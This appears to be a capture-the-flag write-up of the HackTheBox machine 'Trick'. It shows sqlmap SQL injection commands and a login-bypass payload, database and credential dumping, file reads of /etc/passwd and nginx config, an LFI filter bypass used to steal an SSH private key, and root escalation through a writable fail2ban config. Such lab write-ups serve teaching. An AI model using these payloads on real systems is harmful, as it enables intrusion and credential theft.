Post

Trick HackTheBox

Trick HackTheBox

Trick HackTheBox

Trick is an Easy Linux machine that features a DNS server and multiple vHost’s that all require various steps to gain a foothold. It requires basic knowledge of DNS in order to get a domain name and then subdomain that can be used to access the first vHost. On the first vHost we are greeted with a Payroll Management System that is vulnerable to SQL Injection. Using sqlmap we find we have file privileges and can read system files. Reading an Nginx configuration file reveals another vHost. This vHost contains a Local File Inclusion (LFI) vulnerability that can be exploited. Sending a mail to one of the users with PHP code embedded and then including that mail with the LFI allows for Remote Code Execution (RCE). After the initial foothold we find a Sudo command that can be executed without a password. The command restarts the fail2ban service. The configuration directory of fail2ban contains a directory that is owned by a group that the current user is part of. The user has write access to the directory and can rename a configuration file and replace it with their own, which leads to Remote Code Execution as root once a ban is triggered.

image.png

Initial Foothold

Rustscan

Using rustscan to find the open ports and services running on the machine.

1
rustscan -a 10.129.227.180 -r 1-65535 -- -sC -sV -vv -oA nmap/trick 10.129.227.180

image.png

This is a linux machine with SMTP, DNS, SSH and HTTP ports open on the box.

DNS Enumeration

Lets enumerate DNS

1
dig -x 10.129.227.180 @10.129.227.180

image.png

By this we know that the box ip resolves to trick.htb.

Lets add this to our /etc/hosts file.

Trying to perform a DNS zone transfer we have another subdomain.

1
dig axfr @10.129.227.180 trick.htb

image.png

Lets add preprod-payroll.trick.htb to our /etc/hosts file.

Now we enumerate the websites.

Web Enumeration

Now that we have a hostname lets visit the page and see.

image.png

Nothing interesting found on the page.

Visiting our previously found subdomain we have this page.

image.png

Running gobuster to find the hidden pages and directories.

1
gobuster dir -u http://preprod-payroll.trick.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -t 100

image.png

Some interesting directories found but we dont have authorization.

Lets check for sql injection in the form.

Exploitation

SQL Injection with SqlMap

Using sqlmap to automate the process for the sql injection.

1
sqlmap --url http://preprod-payroll.trick.htb/login.php --batch --forms --level 3 --risk 3

image.png

Its failing so I captured the request in burp and gave it sqlmap again.

1
sqlmap -r trick.req --batch --level 5 --risk 3

image.png

image.png

So now we have the payload for the SQLinjection.

Manully used SQL Injection payload which works in almost all the machines is

1
-3257' OR 5422=5422-- EDxl

This payload also lets us in as an Administrator.

image.png

image.png

Lets now try to get more data from the server by exploiting the injection.

Now enumerating the Databases.

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --dbs

image.png

Lets take a look at the payroll_db and its tables.

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db --tables

image.png

Lets now dump the user’s table.

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db -T users --dump

image.png

We now have the administrator password and a username as enemigoss:SuperGucciRainbowCake

Nginx vhost config

The user enemigosss is not on the box since we cant ssh as him.

Lets look at the privileges the current database user has

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db --privileges

image.png

This means we can read files, lets try to read /etc/passwd file on the server to look at the usernames present on the box.

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --file-read=/etc/passwd

image.png

We have the /etc/passwd file download lets take a look.

image.png

Trying to login as micheal using ssh and it failed! with the administrator’s password.

Now for the next steps we can take a look at the vhost config file on the web server, lets download that using sqlmap.

1
sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --file-read=/etc/nginx/sites-enabled/default

image.png

We have another vhost as preprod-marketing.trick.htb, adding this to our /etc/hosts file and visiting it.

image.png

LFI in preprod-marketing

Going through the webpage nothing really interesting found on it. So I searched for LFI on the pages since the url has the page parameter.

image.png

Normally ../../../../etc/passwd was getting filtered out, maybe ../../ is not allowed, So I tested it with this payload.

1
....//....//....//....//....//etc/passwd

image.png

And we were able to get the /etc/passwd file on the server.

Now we can try to read the sensitive system files.

Shell as Michael

Lets try to read id_rsa file for the user michael.

image.png

Lets now ssh as micheal.

1
2
chmod 600 id_rsa
ssh -i id_rsa-michael michael@trick.htb

image.png

We can also see that michael is also a part of security.

image.png

Privilege Escalation

Fail2Ban

While enumerating we can see that michael has permission to run fail2ban as root.

1
sudo -l

image.png

Now as a part of security group, we have privileges to edit files in the action.d folder.

image.png

Also looking at the jail.conf file we have this

image.png

This means that we can edit the iptables-multiport file and after restarting fail2ban as root the execution is taking place as root.

image.png

We force wrote the above payload which set suid to /bin/bash binary.

Shell as root

Now we restart the fail2ban service as user root.

image.png

Then we make some incorrect attempts as michael for eg using ssh.

1
ssh michael@trick.htb

image.png

And after some time we have set the suid bit to /bin/bash

image.png

Now we can read the root.txt

image.png

Rooted!

image.png

This post is licensed under CC BY 4.0 by the author.